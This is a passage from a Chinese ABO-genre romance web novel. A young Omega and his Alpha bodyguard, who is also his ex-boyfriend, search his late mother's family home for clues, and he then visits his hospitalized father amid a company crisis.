见秦砚朝他走过来,沈乐安想也没想起身转头就想走,他还是觉得刚刚被人捏后颈的行为有点怪怪的。 到底他还是比不过常年高强度锻炼的Alpha,轻易就被捉住了手,被迫慢了步伐。 “走慢点。”秦砚见他冷静了一点,这才松开他。 沈乐安收回手,略松了一口气,见他神色自然,敛下心头奇怪的情绪,没有与他搭话。 只不过方才连少年自己都没有察觉的燃起的羞恼还没有完全退散,少年露在外面的耳廓还弥漫着晚霞一样漂亮的颜色,眼神的躲避感也难以掩饰,多了一分拘谨。 秦砚视线停留片刻,指腹轻轻碾了碾,没有其余的动作。 从上秦砚车,让他送回寝室的一路,沈乐安做好了心理建设,待秦砚开回B区,他才与秦砚道:“我们分手的事情你先别说,这会影响我的安排,也会耽搁你的工作。” 这话甚至说不上什么正经的理由,漏洞百出,也就沈乐安信念感坚定,才勉强说得出来。 他其实是担心他们分手闹掰的事情被人知道,尤其是刚刚谈好的齐鸿钧那边会因为秦家的态度反悔,虽然他觉得齐鸿钧应该不会是那种人,但以防万一才是他的习惯。 秦砚瞥了他一眼,也没追问,顺着他意思应下。 沈乐安松了口气,又道:“我明天会去一趟我外祖父之前的老家,出门前会和你联系。” 姜家的事情太久,妈妈那边暂时没有信息,他希望可以去外祖父家那边看看情况,也许会有一点收获。 “上面给我安排的任务是时刻保证你的人身安全。”秦砚看了他一眼。 沈乐安听这话,认为他应下了明天的行程,便放心地下了车,然后见到秦砚也一起下来。 现在虽然秦砚是他的保镖,但是人都到楼下了,好像也不好一点表示也没有就把人赶走。 沈乐安想了想,便道:“你想的话可以上去喝杯水。” 秦砚跟在他后边,直接上了楼。 沈乐安的宿舍比秦砚那里要小得多,不过比起之前来的那次,这一次再过来,这件小宿舍倒是没有了开始乱糟糟的模样。 这里只有一间房,也只有一张床。 沈乐安给他倒了杯水,秦砚喝了一杯,也没有想要走的意思。 他也不说话,只是静静坐在沙发上,沈乐安觉得和这人不能太绕弯子,何况现在秦砚只是他的一个保镖。 沈乐安默念了两遍秦砚的新角色,找准了雇主的气场,直白催促道:“我要睡了,你该走了。” 秦砚打量了一圈,问他:“你今晚住这?” 沈乐安不明所以:“不然呢?” “有没有新的被子和枕头?” “没有新的,不过我前不久刚换下来了一套,刚洗没多久。” “衣柜里?” “啊,是。” 沈乐安见他开了衣柜,自然地从里面将被子取了出来,抓住他的手臂,错愕地道:“你干什么?” 秦砚没有与他废话,动作表达的意思很明显。 沈乐安惊讶道:“你今晚要睡我家?” 秦砚觉得他似乎没有听懂他方才与他说的话,再一次重复道:“我需要时刻保证你的人身安全。” 沈乐安觉得他们的身份这种情况实在是怪怪的,完全没有放开他的手臂任由他为所欲为,“这里的安保很好,不需要你这么麻烦。” 秦砚:“这是工作,我不会擅离职守。” “那你睡哪?”人身安全是大事,沈乐安勉强因为将这个归为正事妥协了一步。 衣柜在卧室,秦砚的目光从他的床上扫过,在床上的大玩偶处停留了一下,沈乐安睡觉时不良的睡姿和习惯性想找东西抱的行为有了解释。 沈乐安发现他的打量,脑袋里面下意识蹦出来贴身保镖的前两个字,登时警惕起来,脱口而出:“你别想睡我床上!” 秦砚没有这个想法,但沈乐安拒绝的干脆,他心里也并不舒适。 他敛回视线,才道:“我在客厅沙发休息,你有事可以喊我。” 弄得好像是有点自作多情,沈乐安忽然觉得自己抓住手臂的手心温度有点发烫,僵硬地收回手,故作平淡地哦了一声。 Omega轻软的感触如羽毛一般剐蹭着心尖,稍纵即逝,却历久弥新,仿佛留有余温。 但这记仇的小少爷性格一点也没有这般软,反而硬的像块石头,让人头疼不已,偏偏他一点也不让人省心和放心。 秦砚心头多了一点无奈,出去前还是顺口说了一句。 “晚安。” 这是沈乐安常驻秦砚屋子时留下来的习惯性的问候。 沈乐安也遵循旧例回他,“晚安。” 等到这句回话,Alpha才啪嗒一声将门关上,没有在门口继续停留。 站在房间里的沈乐安听到隔音不好的门外传来的窸窸窣窣的小动静,想起今天自己几次犯蠢的反应,烦躁地抓了抓头发。 这什么孽缘。 第61章 第 63 章 秦砚待在家里的事情虽然让沈乐安睡前有点烦躁, 但入睡之后睡眠质量出其意料的好。 沈乐安归结于自己今天奔波了一天,过于疲倦的缘故。 只是第二天早上起来的时候,自己家里多了另外一个人的痕迹还是太过于明显, 甚至让沈乐安心里有点微妙。 宿舍内只有一个卫生间, 沈乐安刷牙的时候就发现里面多了一条毛巾挂在自己那条的旁边,漱口杯也多了一个,还有一些七七八八的小玩意,一觉醒来, 秦砚非常高效率的全部备齐,甚至吃饭用的碗也自己拆了新的瓷碗。 沈乐安记忆还停留在上一次秦砚过来这里吃饭, 大概是觉得不会再来第二次,对方拿的是一次性碗筷。 这种怪异的认知在早上秦砚问他是否可以暂时将他自己的衣服寄放在他衣柜里面的时候达到了巅峰。 沈乐安产生了一种诡异的错觉,仿佛他们还是在同居生活,只是从秦砚那搬来了他这。 而且他对秦砚的在意似乎比他想象中的要多一点, 这种认知让沈乐安心情有点不好, 毕竟秦砚非常的冷静, 也并没有因为这样的关系而有什么不对的表现。 “位置。”秦砚第二次重复,他发现沈乐安今天从起床开始就有点不对劲。 沈乐安回神, 将地址报给他。 车子启动的声音悬在耳畔, 车内唯有那香薰的味道相同, 沈乐安摸了摸座椅处陌生的边缘触感,心下微定。 他确实是很喜欢秦砚的,沈乐安自认为自己有几分守旧, 也很希望可以有人陪伴的感觉, 这种安稳的感知骤然割舍太难, 何况他们也不过分手几天,出现不自在的情绪很正常, 不过他们现在确确实实只是保镖和雇主的关系,只要他保证不要越界即可,毕竟秦砚不会做出格的事情。 毕竟秦砚这人被人乱说一句他不守承诺都能变脸,显然道德标准极高,当初既然说过不会纠缠,那一定会做的比任何人都好。 沈乐安轻扣开关,车窗缓缓降落,钻进来的冷风将车内的暖意吹散,连同熟悉的香薰气味一道掠夺而去。 少年安静的坐着,注意力挪去了车窗外,仿佛外面有什么绝佳的风景可以欣赏,但外面只有光秃秃的叶子落得差不多的树干,以及被人踩了一地脚印的雪。 他平静的侧颜如似映照着雪光,冷白如玉,脸颊鼻尖被冷意冻红,只是他恍如未觉。 秦砚敛回视线,指尖微动,将车窗上调了一些。 那点动静比起外面钻进来的风来说,显得微不足道,但一直往外注视的人一定能够看得见。 沈乐安没有说话,还是维持着那个看风景的姿势。 未散的冷意仿佛在车内扩散,前方的红绿灯开始转换,秦砚重新专注于前方的道路,同样也没有开口说话。 姜家老宅并不算偏远,甚至周围的基础设施建设的很好,过来的路上车流量很大,只是到了这一处别墅区,人就明显少了起来。 沈乐安站在别墅前面,望着视野内连绵起伏的山影,和记忆中的画面重合,忽然多了一分莫名的感受。 妈妈喜欢群山环绕的地方,沈乐安还以为沈烨是因为这个才选择将她葬在那处,没想到还有另外一层缘故,那片墓地离姜家老宅很近,但这么多年,沈烨从来没有和他提过此事。 姜家的地址还是从齐鸿钧那里知道的,沈烨一直避而不谈,前不久和他说了一些姜家之前的事情,大概还是因为他当时过激的反应。 看管姜家老宅的人发现陌生的车辆和别墅门前的少年,有点意外。 这别墅这么新,一定有人常来打扫,没想到还有专门的人看着,沈乐安没来过这,正想着以什么借口进去,便听到出来的那个老人出声道:“外面冷,先进来吧。” 沈乐安愣了一下,下意识看向秦砚。 “没事,”秦砚说道,“走吧。” 沈乐安转回脑袋,先一步走了进去。 房子里面的家具都是之前的,哪怕时常打扫,没有人使用,还是有点陈旧的感知,里面没有备食物,招待他们的茶叶是老人自己房间里面拿的。 他住在别墅内的一个小房间,看起来像是这里的管家。 还没等沈乐安开口,老人细细打量完他,便道:“您是乐安小少爷吧?” “您认识我?”沈乐安没有喝茶,只是拿在手中取暖。 老人道:“姜叶小姐回来的时候给我看过您的照片,那时候您也才一两岁,我在姜家待了五十多年了,是家里的管家,小少爷,我姓杨,名叫成平,不知道您有没有听姜叶小姐提过我。” 沈乐安确实听妈妈提起过之前姜家有位对她很好的管家,就是姓杨,那是很小的时候姜叶和他说的事情,那时候姜家还没有出事,姜叶还会和他说一些她在姜家时的趣事。 本质上来说,沈乐安是个拥有认知的成年人,他能记得小时候的事情非常正常,但他那时候确实是个小屁孩,于情于理,不该有太多的印象。 沈乐安脸上适当露出一丝茫然,努力回想了一下,才道:“妈妈好像有提过,但我有点记不清了。” “您年纪小,不记得很正常。”杨管家安慰他。 沈乐安腼腆的笑了笑,又问:“时隔这么多年,您都没有见过我,竟然能够认出我呀?” “沈烨先生每年都会过来,”杨管家道,“您眼睛长得像小姐,鼻子和嘴巴和沈烨先生很像。” “我爸爸每年都会过来?” 杨管家点点头,“他每年平安夜陪您去祭拜完小姐都会在这里待一晚,第二天早上才离开。” 说完,杨管家想起来什么,又道:“这些他肯定不会告诉您,您别和他说我说漏了嘴。” 沈乐安沉默了一下。 一旁默不作声的秦砚不知想到什么,侧眸看了眼安静的少年,很轻的抿了下唇。 难怪平安夜那天他说有事,情绪也有点不对劲。 杨管家转头,目光在秦砚那定了定,“小少爷,这位先生是?” “他姓秦,”秦砚的身份不好说,沈乐安含糊地提了一句,“他陪我过来的。” 他说的含糊不清,略有点敷衍之意,但落在杨管家的眼里,便觉得是沈乐安在害羞。 这位秦先生和他关系很亲密,从一些小动作就能看得出来。 杨管家看破不说破,笑呵呵道:“您稍等,我去拿样东西给您。” 沈乐安点点头,晚辈的礼数很足。 杨管家从房间内出来的时候,手里多了一串钥匙。 他颇为郑重地将钥匙交到沈乐安的手里,“沈烨先生交代过我,如果您带了人过来,就可以把姜家的钥匙全部交到您的手上,由您来保管,等您结婚之后,姜家这栋房子的产权会归到您的名下,交给您来打理。” 沈乐安没想到沈烨还说过这种事,杨管家估计是误解了,以为他来之前沈烨和他把事情都说了,所以才会拿到姜家的地址,又巧合的带了一个秦砚,所以才有了这一出。 如果没有那一遭,正常的按照沈烨说的,相亲到个Alpha结完婚,估计沈烨会将姜家的事情托盘而出,而不是一直选择避而不谈。 结婚对于沈烨而言似乎是个关键的成熟点,仿佛他成了家就能瞬间长大似的,沈乐安心中一嗤,但又有点心软,沈烨估计是怕他冲动,想有个人拦住他。 不过这倒是个合理的借口,能够在姜家逛一圈,顺便搜搜东西,但眼下他不清楚秦砚是否愿意配合,又是否能够配合的恰当不露出缺陷。 沈乐安看了秦砚一眼,不清楚他能不能get他的暗示。 秦砚垂了垂眼皮,开口道:“安安还没有带我去过沈家。” 这话是实话。 但沈乐安觉得他说话的语气很怪,尤其是那个亲昵的叠称,让人多了一点局促。 没去沈家,先来了姜家,那就是见家长还是姜家更重要一点嘛,杨管家笑容大了一点,“放心放心,我不会和沈烨先生说的,你们今天来的事情我不会告诉他。” “谢谢杨先生。”秦砚语气温和了一分,“不知道家里有没有祭拜外祖父母和岳母的地方,我想给他们上上香。” “有,有的。”杨管家忙道,“你有心了。” 秦砚起身,自然地牵住沈乐安的手。 沈乐安不解地转头看了他一眼,有点想挣开,但秦砚箍得紧,他力气掰不过。 “走吧。”秦砚说完,又将他拉近了一点。 哦,好像他们还在扮演可能结婚的身份。 沈乐安压下那点怪异,努力忽视手上灼人的温度,跟上杨管家的脚步。 杨管家带他们去的是靠里的一间房,里面空间很大,但没有放太多的东西,只有一张长桌,上面放了四张黑白照片,两边摆了新鲜的花束,中间还有未点完的香。 沈乐安看了眼上面的名字和年龄,心中默然,他知道他还有个小舅舅,只不过没有见过面,照片也没有看过,小舅舅早年也因为意外跟着外祖母一起去世了。 杨管家点了四支,虔诚地拜了拜,默默念叨了几句,将香烛插到了中间的壶里面,然后将位置让给他们两个。 许是杨管家的严肃和房间内的香烟环绕让气氛凝重了几分,又因为杨管家主动将点燃的香一起给了沈乐安和秦砚,带了一种无名的督促,倒让沈乐安真的有种带秦砚来姜家见家长的即视感。 秦砚比他从容自然,他性格本就冷,此刻表情平静的祭拜,却带着一种莫名的谦卑,浑身的气度仿佛成了仙人。 沈乐安见他学的有模有样,唇瓣微动,不知在嘀咕什么,顺着他的视线看向桌面上的四张黑白照片,也跟着默默心中念了一句。 秦砚和他只是雇佣关系,顶破天算个不远不近的朋友,外祖父外祖母舅舅妈妈您四位可千万不要误会啊。 沈乐安将香插到了壶里面,出来的时候身上沾了一身的檀香。 他闻了闻那淡淡的气味,想到刚刚从见到杨管家的第一面,就闻到了这股气息,看壶内满满的香灰,便知道杨管家应该每天都会来这个房间祭拜一番,秦砚刚才那样问,大概是看出来了一点。 不过秦砚倒是很聪明,几句话便让杨管家对他印象好了非常多,甚至愿意主动提出帮他们隐瞒。 原来这人也还是有点情商的。 沈乐安第一次对秦砚有所误判。 杨管家关好门,才说:“小少爷如今健健康康,幸福美满,您外祖父外祖母他们也算能够安心了。” 沈乐安笑笑,没有应这话,转开了话题,道:“您这些年一直在老宅这里住吗?” 杨管家笑道:“习惯了,我留着暖暖房,也当是陪陪你外祖父。” 沈乐安问:“您一直是一个人?” 杨管家知无不言,将他家里的情况说了一遍,他老伴过世的早,目前只有一个儿子。 沈乐安便道:“您一个人在这里也孤单,其实搬去您儿子家里也没有关系,我会找人过来定期打扫这里的。” 杨管家这回没有顺着他的话,而是道:“人不能忘本,我早年家里落魄的时候是您外祖父伸出援手,现在也只是做做本职工作,没能回报什么,勉强守着宅子换个心安罢了。” 沈乐安没有说话了。 他摸了摸手里冰凉的钥匙表面,便道:“我妈妈之前和我提过家里还放着她的一些设计稿,我想去看看。” 姜叶年轻的时候爱画画,也画了不少图,尝试过设计,家里有不少这样的稿子留着。 杨管家指了指姜叶的房间位置,“最里面那间房,连着第一间是小姐的卧室,第二间是画室,第三间是书房,都是小姐常去的地方,您可以去那里看看。” 沈乐安:“谢谢。” 杨管家指完路便自觉离开了,分寸感把握的很好。 沈乐安见人离开,这才走去那里打算开门。 刚想抬手,发现自己走来一路,竟然忘了手还被秦砚牵着。 不过秦砚大概也知道杨管家离开了,沈乐安挣了挣,便挣脱出来了。 开了门,进去是扑面而来的淡淡的老旧的气息,常年不住人,屋内也难免有点腐朽的味道。 窗帘是拉开的状态,外头阳光照射进来,照在主人临走前留下的便签上,文字尚且没有模糊,但纸张却已然有了褪色的痕迹,上面赫然是姜叶的字迹,叮嘱收拾的阿姨不要丢到桌面的废稿,屋内原封不动的陈设传递着岁月的气息。 沈乐安轻轻碰了碰那张纸面,指腹摩挲着纸张,有种淡淡的颗粒感。 这里和沈家不一样,这里是藏着姜叶还没有成为妻子和母亲前的模样,沈乐安没来过着,也不知道他妈妈之前的样子。 这桌面上保留的稿子有一本书那么厚,从第一张就能看得出大概的内容,是一张人物设计稿。 姜叶很早以前就和孩童时的他说过,她有点想做一款游戏,里面的美工设计都由她来负责,还说她原先尝试过,不过失败了。 失败乃成功之母,姜叶拿这个案例告诉他,让他不要轻易放弃。 姜叶拿他当小孩,只是随口一说,但沈乐安一直记在心里,只是他没想到这个有点的重量如此之重,有足足一本书一样的厚重。 “这里有人进来翻找过。”秦砚忽然出声道,“东西复原了,但有些痕迹可以看得出来。” 沈乐安并没有意外,看了一圈,“我还想再找找,这些废稿我想全部拍下来,你能帮个忙吗?” 秦砚看了一眼上面的纸条内容,应下。 沈乐安一张一张取出,放平,让秦砚拍,又叮嘱他拍的清晰一点。 秦砚闷不吭声地给他当人型扫描仪。 拍完,沈乐安拿着他的手机,挨个检查,有没有拍糊,一张一张的往后翻,滑到底,相册露出了秦砚自己保存的图片,是一张证件照,上面还有他的出生日期。 他无意窥探秦砚的隐私,划回了前一页,锁屏,将手机还给了他。 秦砚将纸张整理复原,一丝不苟地放回原位,精准如仪器,沈乐安甚至没看出来和方才有什么区别。 “这里有阳光照射,会留下很浅的一道印子,”秦砚指了指细小的几乎看不出来的痕迹,说道,“这两处有很小的色阶差异,说明有人动过。” 沈乐安仔细研究了一下,感觉也就几毫米的微妙差别,顿时对他心服口服。 不过他并没有好奇地追问,转头又想搜搜看看这里还有没有别的东西,仿佛是打开光阴的宝藏。 光影洒在少年卷翘的睫羽上,扑闪而落的影子蓄在眼窝,让他的眼底多了一层薄薄的雾色,仿佛带着几分怀念和眷恋,抚在桌面的指尖带着几分温柔,很轻地点在表面。 “抱歉。”秦砚看着他思忖了许久,才很突然的说了一声。 沈乐安感觉自己好像在幻听,竟然听到秦砚和他道歉? 他斟酌了一下这话的语境,大概是他们现在关系复杂,刚刚被迫进行了亲密的行为,道德感极高的秦砚觉得有失礼数? 沈乐安轻咳了两声,说道:“刚刚的事情也是处于无奈,我们互相合作而已,你不用放在心上。” “平安夜那天晚上的事情,”秦砚道,“我向你道歉。” 他说的极其正式,一字一顿,目光紧紧落在沈乐安的身上,表情很平静,却说不出来的存在感强烈。 发生了什么两个人都心知肚明,不就是一点不能描述的事情吗,沈乐安没有什么道德标准,反正那天晚上他难得觉得放松了许多,因为和秦砚胡作非为。 只是这话在姜叶房间里提起总让人觉得有点怪怪的。 沈乐安神情微妙地哦了一声,含糊地道:“我没觉得什么,不用太在意。” “你拒绝了我的约会请求,转而与余淮阳相约,我对你有所误解,所以造成了失控的后果。”秦砚道,“本质而言,我是对余淮阳不满,并非对你。” “啊?” “没什么。” 见他不欲多说,沈乐安垂下眼皮,也没有问,他觉得秦砚这话很容易让人产生误解,也不是很合适在现在说,毕竟他们都分手了,而且他们某种意义上来说还是当着妈妈的面呢。 秦砚低头,看向他,“沈乐安,你还在生气吗?” “我没生气。”沈乐安顿了一会,才回他。 秦砚站着没动,也没有靠近,与紧绷着的兔子保持了一定的距离,只回了一声,“嗯。” 见秦砚还算识趣地不再继续,沈乐安默默松了口气。 第62章 第 64+65 章 姜叶的房间内有不少设计的稿子, 包括人物、风景、首饰等等,多种多样,画室内更是不少, 沈乐安还难得的发现了一张小孩的人物画像, 像是两岁大的时候。 刚才一直让秦砚帮忙留存图,顺手给过去才想起来那小孩的样子有点眼熟。 沈乐安默默伸过脑袋,看了一眼。 上面是一张黑白素描画,画上的小孩穿的端端正正, 还戴了一个儿童帽子,上面绣了一只小猫, 小孩咧着嘴,笑得开怀……好像是他小时候的样子。 秦砚的动作也停了停,似乎也发现了画上的人是谁。 上面的线条很密集,阴影和空间感十足, 画的人非常的认真仔细, 连小孩脸颊处微微泛起的一点酒窝都画的分明。 画被他拿着, 沈乐安也不好直接要回来,见他目光还盯着上面, 略有几分尴尬道:“这张你别拍了。” 秦砚没有立即把画还给他, 闻言, 便道:“已经拍了。” 沈乐安本来想自己偷偷拍了留一张来着,没想到秦砚手这么快,总有种丑照流传到了别人手里的感觉。 他看见秦砚将画放回原位, 便道:“那你回去给我发一张, 然后删了就行, 免得占内存。” 秦砚没说好也没说不好,只道:“会给你发。” 沈乐安见他应下, 点点头,离开画室,又往书房的位置走。 秦砚将手机锁屏打开,盯着留下的图看了两秒,随手点了收藏,然后才退出查阅界面,离开画室前一并锁了门。 书房内有着一面的书,满满当当,桌面也有一小部分画稿,摆着几本画画学习技巧有关的书籍。 真的要翻的话,估计能翻到猴年马月。 沈乐安看了眼书架,转头问秦砚:“能够看得出里面有多少被人碰过的吗?” 秦砚认真分辨了一下,指了几行,道:“这几行都有被人动过的痕迹,其余的不是非常能够确定,有被人打扫的痕迹留存,可能被扫掉了。” “这个又是怎么发现的?” 秦砚取了一本出来,与他解释:“夹缝里的一些灰尘,这种书架就算打扫也很难完全打扫干净,但有人取出来过,会有一点余留的痕迹,不过打扫频繁的话,可能灰会少一些。” 这里看起来很干净,而且以方才和杨管家的对话来看,沈乐安觉得清洁这种事情,他应该做得很频繁。 只不过…… 沈乐安看了眼秦砚指的那几行,总觉得有点怪异的认知,对方似乎对姜叶的习惯很熟悉,因为早之前,姜叶就习惯将书放在和身高差不多的位置,好方便可以取用。 这还是他常常跟在姜叶屁股后边观察得来的。 难不成他妈妈有什么朋友或者之前认识她的仇人进了反叛军不成?但能够进来大规模的查阅这些书,明显也花了不少的功夫。 沈乐安想了想,转头问秦砚:“能推断处大概什么时候被人动的吗?” “不能。”秦砚说完,一目十行,没有什么收获,又将书放了回去。 好吧,沈乐安也觉得自己有点强人所难。 秦砚给不出所有的答案,他毕竟也不是百科全书。 沈乐安敛回心神,目光在书架上扫了一圈,最后定格在那本厚厚外壳的同学录上。 他对妈妈的人际关系其实一无所知,妈妈在的时候很少出门,也没有和什么朋友联系,总让人觉得有点孤僻,但与他沟通时似乎又还算开朗,并没他原先所想的模样。 同学录里面也许能够让他对妈妈的朋友圈有个初步了解。 姜叶对于具有纪念意义的东西都会收集起来,但因为不常翻动,又会将其束之高阁,最明显的就是,这些同学录都被放在了书架的最顶上,露在外面的表皮还有外包装,足够珍惜,也足够忽视。 放的地方太高,沈乐安伸长手只能摸到书的下半截。 他仰头看了一眼,抬手搭在靠近腰侧的架子,试图踮起脚取下,不过刚放上手,身旁那道气息逼近,影子也随之落了下来。 秦砚身长手长,东西轻易就落入了他的手中。 沈乐安收回手,侧身,便正正好对上身后颀长高大的Alpha,他挡了大半的光线,视野内都暗淡了几分。 他们离得极近,往前半步就会撞入Alpha的胸膛。 沈乐安才发现秦砚今天穿了一身黑色的卫衣,上面没有图案,只有简单的黑色调,简约又干净,卷起的袖口让小臂露在外面,Alpha拿着书,肌肉线条因为动作微微绷紧,筋条分明,薄薄的血管隐约可见,力量感在上面体现的淋漓尽致。 离得太近,进入鼻翼的呼吸仿佛都浸润着对方的气息,松雪的凉意混杂着未散的檀香,非但没有让人心境平和,反而起了反作用。 沈乐安下意识想往后边退开,但后面是书墙,别无退路可言。 “是这本?”秦砚将书递过去。 沈乐安垂了垂眼皮,“是。” 他强装淡定和不在意地从秦砚手里接过书,努力装作正常,但还是因为过近的距离有点紧张。 比这更近的距离也不是没有过,但此时此刻,他们的身份不同,而且,沈乐安默默地想,他总觉得秦砚和以前好像有点不一样,存在感强了许多。 沈乐安接了书,秦砚也没有挪半分,像块木头似的杵在原地。 很近的距离,又是俯视的角度。 秦砚能够轻易看得见Omega细软的发梢,以及漂亮的耳垂,甚至能够观察到他舔舔干燥的唇,不是很自在的小动作,唇瓣被舌尖滋润,如似秾丽的婴栗花瓣。 大约是觉得有点不耐烦,Omega抬起下巴,抬眸望向他,眼底是骄矜又自负的回击,但他终归是仰视,失了那一层居高临下的蔑视感,反而有种小猫挠抓一样的灵动,半点恶意也难以舒展开来。 秦砚心头微微一动,抬手贴近,Omega没法后退,却反应很快地往两边挪了挪。 秦砚手上落了空。 沈乐安压下心头乱跳的紧张,语速很快地道:“我站一边,你拿书要方便一点。” 这借口找的很急,有很好的给了一个台阶,让这个动作和行为有了很好的解释。 秦砚理智回归。 沈乐安听见他没有什么情绪地嗯了一声,指尖落在了原本在他脑袋那里的书上。 或许在那停了好几秒,沈乐安垂下眼睛,没敢观察他的反应。 秦砚好像一副要摸他亲他的架势,一定是他今天出门太早,没有睡醒所以脑子也不清醒,开始胡思乱想了。 Alpha维持着一个姿势,目光沉沉地看着那一行的书,沉默良久才道:“这一本应该是刚被人拿出来过,应该取过不止一次。” 说完,秦砚便将那本黑色表皮的本子去了下来。 沈乐安心情像是过山车,松了口气,却也没有觉得非常开心,回过神,与他道:“给我看看。” 书的表面用繁体字印着四个艺术字“贩卖梦境”,打开第一页,开口就是日期,接着的内容明显是记录,这是姜叶的日记本。 日期并不连续,跳跃很快,明显妈妈也不是很有耐性记录每一天生活的琐碎,只是会在重要的事情,或者情绪波动很大的时候在上面有所记录。 不过真的十分重要的事情,至少在这些日子的内容里面,并没有任何蛛丝马迹可以看得出来有和外祖父留下的重要物品有关的信息。 姜叶保密做的很好,她也许还考虑到日记并不具有私密性,所以并没有过多的留下痕迹,一面罕见的没有那么多笔墨,只有几个字泄露了她的低落。 7月1日 无大事,有点想念父亲。 沈乐安反复在那九个字上看了很多遍,垂了垂眼皮,最终将日记合上,放回原位。 沈烨每年都会过来这里,这里面又没有什么机密,能够反复打开看这本没有什么价值的日记的,估计也只有他了。 不过日记里面倒是还有一位出现的角色,妈妈称呼ta为圆圆,听起来像是个小姑娘的名字,妈妈还在日记里面祝愿圆圆到那边以后,一定前程似锦一路顺风,幸福喜乐健健康康。 圆圆没有全名,沈乐安也没听妈妈说过什么圆圆的朋友闺蜜,只能尝试看看能不能从同学录里面找找有没有什么痕迹。 沈乐安耐心地从小学翻到了大学,没有半个留言和圆圆这个昵称相关的,如果不是幼儿园没有同学录这玩意,沈乐安大概也会认真去看看。 圆圆没有什么线索,但沈乐安觉得他妈妈似乎还是个受欢迎的大美女,从小到大还有不少人在同学录里面给她妈妈表白的。 沈乐安最深刻的一条,是初中的时候R同学写的,言辞简单,却藏着浓浓的深意——浅绿色的发绳最好看。 仿佛是隔空和姜叶对话,但对话都是有问有答,这句话倒显得极其亲密,感觉他们两个关系很不错的样子。 沈乐安决定下次回家和沈烨打听一下,看他知不知道他老婆之前有没有过前任,说不定就有前任报复现任的可能呢? 沈乐安想着,被自己这个奇妙的猜想逗得笑了笑。 很轻的一声笑音,但落在安静的室内和听力敏锐的Alpha耳中,便不再小了。 秦砚从刚才将那本黑色表皮的本子取走给他时,便不再去搜寻所谓的线索了。 他坐在书架旁边的椅子上,因为刚刚的事情而略微有点走神。 听到那一声轻笑,他转了转头,视线落在坐在书桌旁边的Omega身上。 少年莞尔,嘴角掀起小小的弧度,眼尾也轻轻弯着,不知道想到了什么,愉悦从心中弥漫开来,浅笑也自带感染力。 秦砚注视良久,扬了扬唇。 沈乐安似乎发现了他的视线,抬头看了过来,脸上的笑也淡了许多,随后客气一笑,又收回了视线。 秦砚看着他躲避的动作,嘴角的弧度渐弱,唇线缓缓拉平,最后变成了一条绷直冷淡的直线。 连他自己都没有察觉。 —— 网上轰轰烈烈的消息被压得差不多了,沈氏集团及时出了公告,沈烨出现在现场,舆论里面关于沈烨因罪被扣押的事情自然也就随之而解,但这只是其中之一的攻击,查出药物的事情至今还没有办法得到解决,沈氏集团的声誉尚未得到缓解,反而大大折损,已经严重影响到了公司的本身。 一个企业在民众心中的品牌形象是非常重要的,沈氏经营了这么多年,几乎要因此毁于一旦,沈氏内对沈烨的质疑只多不少,而公司外面,也有不少消费者过来闹事的,热度难以降下。 沈烨从出狱以来,就一直在公司处理这些事情,像个陀螺一样连轴转,开完会和董事吵了一架之后,沈烨气晕倒在了会议室里面,最后被人一阵慌乱地送去了医院。 沈乐安接到周秘书电话赶过来的时候,病房外面围了一群人,西装革履的精英模样,奈何啤酒肚一上,那气度就降了一半。 若是沈乐安还在公司,还会客气的喊两声叔叔,但现在不是,他也没心情和这些人客套,联系了一下徐应尧借了一间休息室,然后转头便和周秘书道:“送他们去休息室里面待着,我稍后会过去。” 周秘书看到了沈乐安,也发现了跟在他身后人高马大的秦砚,没有多问,开始办事。 沈乐安也就罢了,这群董事还会用长辈架子耍耍威风,但他后边还跟着一位秦家的大少爷,之前沈老爷子的生日宴会上,大家可是对这个人有印象的。 秦砚身后跟着的秦家和宋家,都是不好招惹的,不知道沈乐安哪里找来的靠山。 有所顾忌,又因为秦砚瞥过来的带有警告意味的视线,他们不得已压下了话头,不情不愿地暂时和周秘书离开。 沈乐安敷衍地大力敲了两下门,听到里面的声音,推门而入。 沈烨正在剥橘子,动作很慢,眼底的青黑也非常的明显,看到沈乐安冷着脸的模样,略有点心虚地瞥了他一眼。 “我还以为你打算直接修仙升道了呢。”沈乐安语露讥讽道。 沈烨骂道:“臭小子胡说八道什么呢!” 他当然没有错过安静站在一旁的秦砚,目光挪了挪,窥探的意思很明显。 秦砚目光落在炸毛的小猫身上,定定看了好几眼。 他没见过沈乐安情绪如此外放的时候,哪怕是因为生气。 沈乐安把餐盒丢在他的小桌板上,没有打算和他解释秦砚的事情,“把饭吃了,然后把前因后果和我说说,你们开会说什么了?” 周秘书没有提会议的内容,只是说沈烨开完会出来非常的生气,还想回去和他们争论,结果人还说两句,就直接晕倒了。 医院检查是有点高血压,平时要注意情绪,这次是情绪反应过大。 公司的事情他不介意和儿子说,但这里毕竟还有一个秦砚,偏偏儿子又不愿意说明对方的身份,要是未来女婿就算了,万一不是呢? 沈烨迟疑了一下,目光扫过秦砚,轻咳两声道:“乐安,秦先生怎么和你一起过来了?” 沈乐安只含糊敷衍道:“有事,他最近会和我一起。” 秦砚看了沈烨一眼,与沈乐安道:“我去外面等你,有事可以喊我。” 他离开前还将剥好的橘子放在了沈烨的小桌子上,引得沈烨多看了他一眼,若有所思。 上一次老爷子的生日宴,秦家忽然来人,沈烨其实也清楚,虽然沈华章给秦家送过帖子,但以沈华章的本事和老爷子的面子,沈烨并不认为秦家会专门让这位低调的孙子专门来一趟。 而且这位秦大少还和乐安一起在宴会上胡来,在一角打起了牌,原先沈烨就有点猜测,但后来得知两人是同事,没有什么别的关系,便暂时歇了心思,如今这么一看,似乎又并非如此。 沈烨心满意足地吃起了橘子,心情好了许多。 沈乐安不知他情绪变化,将刚刚的问题重复了一遍,“到底怎么回事?” 这事真提起来确实有点丢人,尤其是当着儿子的面,沈烨别扭了一下,才说:“最近公司形势紧张,事情又和我们沈家有关,沈氏压力不小,你那几位叔叔也是着急,这才想出了一个办法,希望我辞掉目前的职位减少公司的负面影响,我就和他们吵了一架。” “就因为这个?” 沈烨多了一点惆怅,“公司的事情我也着急,但是他们的做法我也有点心寒,所以就有点控制不住脾气,何况这一次的事情明显不仅仅是针对我,沈氏集团也被卷在其中,不是一个职位就能轻易割开的。” “既然你也知道,又何必对这些人多浪费什么感情,沈董,你真是越活越回去了。”沈乐安嗤声道。 沈烨做事雷厉风行,但唯独对待这些公司起始之初到现在的人感情用事,也难怪他妈妈当初会因为沈烨在公司和家庭两方面处理不平衡而有所不满。 想换人那确实需要通过股东的决议,但真的要裁决,以沈烨手里可是有绝对的股份权利可以利用的,哪里真的被人掣肘? 沈烨呵斥道:“怎么和你爸说话呢!” 沈乐安没想和他吵,转而便道:“他们想推荐谁?” 